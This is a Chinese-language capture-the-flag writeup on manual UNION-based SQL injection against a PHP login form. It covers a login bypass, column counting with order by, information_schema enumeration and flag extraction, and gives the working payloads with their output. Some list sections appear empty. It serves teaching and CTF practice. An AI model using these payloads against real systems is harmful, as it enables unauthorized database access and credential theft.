SQL 注入 · 联合查询手工注入 Writeup

首页提示：「用 sqlmap 是没有灵魂的」—— 出题人明确要求手工注入。

一、侦察：从登录框到报错回显

1.1 页面结构

<form action="check.php" method="GET">
    <input type="text" name="username" />
    <input type="text" name="password" />
</form>

GET 提交，两个参数，PHP 后端。

1.2 三个关键现象

三条结论：

第 2、3 条是这个题的分水岭：有回显 → 走联合查询，最快。

二、原理：单引号为什么能逃逸

2.1 后端的代码形状

根据报错信息反推，后端大致是：

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

注意模板里那对引号：username=' 开一个，' 关一个。用户输入被夹在中间。

WHERE username='  [用户输入]  ' AND password='x'
                ↑ 开          ↑ 关

2.2 核心概念：数据区 vs 代码区

单引号的作用，就是把用户从数据区「放」到代码区。

2.3 三种输入的对比

① 传 1

WHERE username='1' AND password='x'

1 被当作字符串内容，去和不存在的用户比较 → 查不到。

② 传 1'（只闭合，不做事）

WHERE username='1'' AND password='x'

'1' 是一个完整字符串，后面的 ' AND password='x' 语法错乱 → 报错 near '1''。

③ 传 1' union select 1,2,3#

WHERE username='1' union select 1,2,3#' AND password='x'
              └字符串┘└── 我的 SQL ──┘└── 被注释 ──┘

• '1' 闭合，回到代码区
• union select 1,2,3 被当作真正的 SQL 语句执行
• # 把模板剩下的 ' AND password='x' 整段吃掉

2.4 为什么 # 不能省

模板尾部还留着一个孤立的 '（原本关闭 password 的那个）。如果不注释：

WHERE username='1' union select 1,2,3' AND password='x'
                                    ↑ 这个引号没有配对

语法直接崩。

所以完整 payload 必须同时具备三个部分：

2.5 报错信息里的两个引号是证据

... near 'admin'' at line 1

它们挨在一起，说明你的输入被原样拼进了单引号内部。这条报错等于把后端代码的形状直接告诉了你。

三、登录绕过：能做，但不是终点

3.1 最干净的写法

username: admin' or 1=1#
password: 任意

拼接后：

WHERE username='admin' or 1=1#' AND password='x'

or 1=1 恒真 → 返回第一条记录。

3.2 AND 优先级陷阱（重要）

' OR '1'='1 这个经典 payload 在这题不一定成立，原因在于 SQL 的运算符优先级：

AND  >  OR

不带 # 时，拼接结果是：

WHERE username='' OR '1'='1' AND password='8729...'

按优先级实际等价于：

WHERE username='' OR ('1'='1' AND password='8729...')
                 └─ 假 ─┘ └── 需要 password 也匹配 ──┘

所以：

结论：# 比 '1'='1 更可靠。 别背那个经典 payload，理解优先级。

3.3 为什么这不是终点

绕过登录后页面显示：

Login Success!
Hello admin！
Your password is '872946ce8c6c42abf633001c95fd8677'

872946ce8c6c42abf633001c95fd8677 是 32 位十六进制 = MD5，是 admin 的密码哈希，不是 flag。

而且大概率不可逆 —— 出题人不会把 flag 做成可反查的 MD5。

真正的收获是：页面有三个回显位置。

有回显位 = 可以用 UNION 一次带出数据，不用逐字盲注。

四、字段数与回显位

4.1 先数格子：order by

UNION 要求两边列数一致，所以必须先知道原查询有几列。

username=1' order by 3#     → 正常返回
username=1' order by 4#     → Unknown column '4' in 'order clause'

列数 = 第一个报错的 N 减 1 → 本题 3 列。

4.2 回显位的概念：格子

一条 SELECT 就是一排格子，位置决定内容显示在哪：

SELECT  id ,  username ,  password  FROM users WHERE ...
       └1┘   └──2──┘    └──3──┘

页面模板只用了其中两个：

echo "Hello ".$row['username'];                  // 取第 2 格
echo "Your password is '".$row['password']."'";  // 取第 3 格

第 1 格（id）页面没用，所以永远不显示。

4.3 探测：用数字当门牌号

union select 1,2,3

页面变成：

Hello 2！                    ← 第 2 格的内容
Your password is '3'         ← 第 3 格的内容

数字出现在页面上，就说明那一格是可见的。

4.4 为什么第 1 格永远填 1

因为第 1 格不显示，填什么都不会出现在页面上，填 1 只是习惯性的占位。

4.5 为什么数字能换成函数

select 后面每格放的是表达式，不是「数字」：

UNION 只要求「两边都是 3 个表达式」，不关心表达式是什么。数字只是最省事的占位符。

五、information_schema 三级枚举

5.1 三级结构

库 (schema)  →  表 (table)  →  列 (column)

information_schema 是 MySQL/MariaDB 自带的元数据库，里面有三张关键表：

系统表名和字段名是成对的，改一个必须改另一个。

5.2 查库

union select 1,2,group_concat(schema_name) from information_schema.schemata#

返回：

information_schema,performance_schema,test,mysql,geek

首页提示「我把它们放在了那个地方」—— 那个地方就是 geek。

5.3 查表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

返回：

geekuser,l0ve1ysq1

5.4 查列

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'#

返回：

id,username,password

5.5 注意两个条件都要写

顺带一个结论：库里两张表结构完全一样（都是 id,username,password），说明 geekuser 是迷惑表。

六、取数据

6.1 from 换成真实表

查列:  union select 1,2,group_concat(column_name) from information_schema.columns where ...#
取数:  union select 1,2,<列名>                     from geek.l0ve1ysq1#

两个变化：

6.2 全量取法（看全貌）

union select 1,2,group_concat(concat_ws(0x7c,id,username,password)) from geek.l0ve1ysq1#

• 内层 concat_ws(0x7c,...)：把一行的三列横着拼成 1|admin|xxx
• 外层 group_concat：把多行竖着拼成 1|admin|xxx,2|user2|yyy,...

0x7c 是 | 的十六进制，用作分隔符。

6.3 精确取法（拿完整 flag）

group_concat 有 1024 字节上限，18 条记录一定会被截断，而且截的是开头：

...913f-44ec-9169-5032badf1f79}     ← 只剩尾巴，前面的 CTF2{... 没了

所以要改用单值查询：

union select 1,2,password from geek.l0ve1ysq1 where password like 0x4354463225#

6.4 最终结果

CTF2{2d3b2d96-913f-44ec-9169-5032badf1f79}

七、踩坑记录

第 6 条的延伸：标识符 vs 字符串字面量

同一个引号，在两个阶段语义完全不同：

八、HackBar 工具（可选）

8.1 SQLi 菜单覆盖到哪

没有「取数据」这一项 —— 最后一步必须手写，因为变数太多（取哪表、哪列、单列还是拼接、超长怎么分段）。

8.2 弹窗里「两个 3」的含义

用 Dump 功能时会问两个数字：

两个数字含义完全不同，本题恰好都是 3，所以容易误认为是同一个东西。如果换成 5 列、回显在第 2 格，就会看到 5 和 2。

8.3 工具的边界

九、方法论

9.1 手注固定骨架

① 闭合:  1'
② 探测:  order by N          → 字段数
③ 定位:  union select 1,2,3  → 回显位
④ 枚举:  schemata → tables → columns
⑤ 取数:  from 真实表

每一步的产出都是下一步的输入，跳过任何一步都会卡：

9.2 记忆锚点（不用背函数名）

9.3 判断链条（遇到异常先问自己）

十、汇总表